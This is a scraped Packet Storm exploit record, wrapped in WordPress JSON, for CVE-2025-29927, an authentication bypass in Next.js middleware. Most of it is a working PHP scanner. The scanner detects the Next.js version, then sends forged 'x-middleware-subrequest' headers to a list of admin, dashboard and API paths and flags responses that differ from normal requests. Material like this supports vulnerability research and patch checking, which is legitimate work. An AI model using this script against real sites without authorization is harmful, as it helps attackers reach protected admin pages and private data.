{“lastseen”:”2026-01-30T17:46:40″,”description”:”This is an authorization bypass scanner for Next.js version 12.3.5. A vulnerability exists in the Next.js middleware handling mechanism, where requests containing the \\”x-middleware-subrequest\\” header are processed differently compared to normal…”,”published”:”2026-01-30T00:00:00″,”modified”:”2026-01-30T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Next.js 12.3.5 Middleware Bypass Scanner”,”source”:””,”references”:””,”id”:”PACKETSTORM:214632″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-29927″],”sourceData”:”=============================================================================================================================================\\n | # Title : Next.js 12.3.5 Middleware Subrequest Bypass Vulnerability |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/nextjs.org\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212394\/ \\u0026\\tCVE-2025-29927\\n \\n [+] Summary : A vulnerability exists in the Next.js middleware handling mechanism, where requests\\n containing the \\”x-middleware-subrequest\\” header are processed differently compared to\\n normal requests, potentially allowing attackers to bypass authentication.\\n \\n [+] POC : php poc.php 127.0.0.1\\n \\n \\u003c?php\\n \/*\\n * Next.js Middleware Bypass Scanner \\n * CVE-2025-29927\\n * Author: Indoushka\\n *\/\\n \\n function http_request($url, $headers = [])\\n {\\n $ch = curl_init();\\n curl_setopt($ch, CURLOPT_URL, $url);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n curl_setopt($ch, CURLOPT_HEADER, true);\\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\\n if (!empty($headers)) {\\n curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);\\n }\\n curl_setopt($ch, CURLOPT_TIMEOUT, 12);\\n $resp = curl_exec($ch);\\n $info = curl_getinfo($ch);\\n curl_close($ch);\\n \\n $header_size = $info[\\”header_size\\”];\\n return [\\n \\”status\\” =\\u003e $info[\\”http_code\\”],\\n \\”body\\” =\\u003e substr($resp, $header_size),\\n \\”headers\\” =\\u003e substr($resp, 0, $header_size)\\n ];\\n }\\n \\n function detect_next_version($base)\\n {\\n $res = http_request($base);\\n $html = $res[\\”body\\”];\\n $hdrs = $res[\\”headers\\”];\\n \\n \/\/ Header detection\\n if (preg_match(\\”\/x-powered-by:\\\\s*(.*)\/i\\”, $hdrs, $m)) {\\n if (stripos($m[1], \\”Next.js\\”) !== false) {\\n echo \\”[*] Version found in header: {$m[1]}\\\\n\\”;\\n return trim(str_replace(\\”Next.js\\”, \\”\\”, $m[1]));\\n }\\n }\\n \\n \/\/ Static leak detection\\n if (preg_match(‘#\/_next\/static\/[^\/]+\/revisions\/(?:static|webpack)-(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)#’, $html, $m)) {\\n echo \\”[*] Heuristic detected version: {$m[1]}\\\\n\\”;\\n return $m[1];\\n }\\n \\n echo \\”[!] Could not detect Next.js version reliably\\\\n\\”;\\n return null;\\n }\\n \\n function version_vulnerable($v)\\n {\\n $safe = [\\”12.3.5\\”, \\”13.5.9\\”, \\”14.2.25\\”, \\”15.2.3\\”];\\n foreach ($safe as $sv) {\\n if (version_compare($v, $sv, \\”\\u003c\\”))\\n return true;\\n }\\n return false;\\n }\\n \\n function test_bypass($base, $ep)\\n {\\n $url = rtrim($base, \\”\/\\”) . $ep;\\n echo \\”\\\\n[*] Testing endpoint: $url\\\\n\\”;\\n \\n $normal = http_request($url);\\n $bypass1 = http_request($url, [\\”x-middleware-subrequest: middleware\\”]);\\n $bypass2 = http_request($url, [\\”x-middleware-subrequest: middleware:middleware:middleware\\”]);\\n \\n echo \\”[+] Normal Status: {$normal[‘status’]}\\\\n\\”;\\n echo \\”[+] Bypass Status : {$bypass1[‘status’]}\\\\n\\”;\\n \\n if ($normal[\\”status\\”] !== $bypass1[\\”status\\”])\\n echo \\”[!] Status difference detected – POSSIBLE BYPASS\\\\n\\”;\\n \\n if (strlen($normal[\\”body\\”]) !== strlen($bypass1[\\”body\\”]))\\n echo \\”[!] Response length differs – HIGH Bypass Chance\\\\n\\”;\\n }\\n \\n if ($argc != 2) {\\n echo \\”Usage: php $argv[0] https:\/\/target.com\\\\n\\”;\\n exit;\\n }\\n \\n $base = $argv[1];\\n \\n echo \\”[*] Scanning $base for CVE-2025-29927\\\\n\\”;\\n \\n $ver = detect_next_version($base);\\n \\n if ($ver) {\\n echo \\”[*] Detected Version: $ver\\\\n\\”;\\n if (version_vulnerable($ver))\\n echo \\”[!] Version appears VULNERABLE\\\\n\\”;\\n else\\n echo \\”[*] Version appears patched\\\\n\\”;\\n }\\n \\n $endpoints = [\\n \\”\/api\/user\\”, \\”\/admin\\”, \\”\/dashboard\\”, \\”\/api\/admin\\”,\\n \\”\/admin\/login\\”, \\”\/admin\/dashboard\\”, \\”\/dashboard\/settings\\”,\\n \\”\/admin\/settings\\”, \\”\/api\/auth\\”, \\”\/api\\”, \\”\/api\/users\\”,\\n \\”\/api\/admin\/session\\”, \\”\/api\/settings\\”, \\”\/api\/private\\”,\\n \\”\/account\\”, \\”\/account\/settings\\”, \\”\/profile\\”, \\”\/settings\\”,\\n \\”\/me\\”, \\”\/me\/settings\\”, \\”\/_next\\”, \\”\/_next\/data\\”, \\”\/_next\/static\\”\\n ];\\n \\n foreach ($endpoints as $ep)\\n test_bypass($base, $ep);\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214632″,”cvss”:{“score”:9.1,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214632\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-30T17:46:40″,”description”:”This is an authorization bypass scanner for Next.js version 12.3.5. A vulnerability exists in the Next.js middleware handling mechanism, where requests containing the \\”x-middleware-subrequest\\” header…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,13,53,7,11,5],"class_list":["post-38344","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n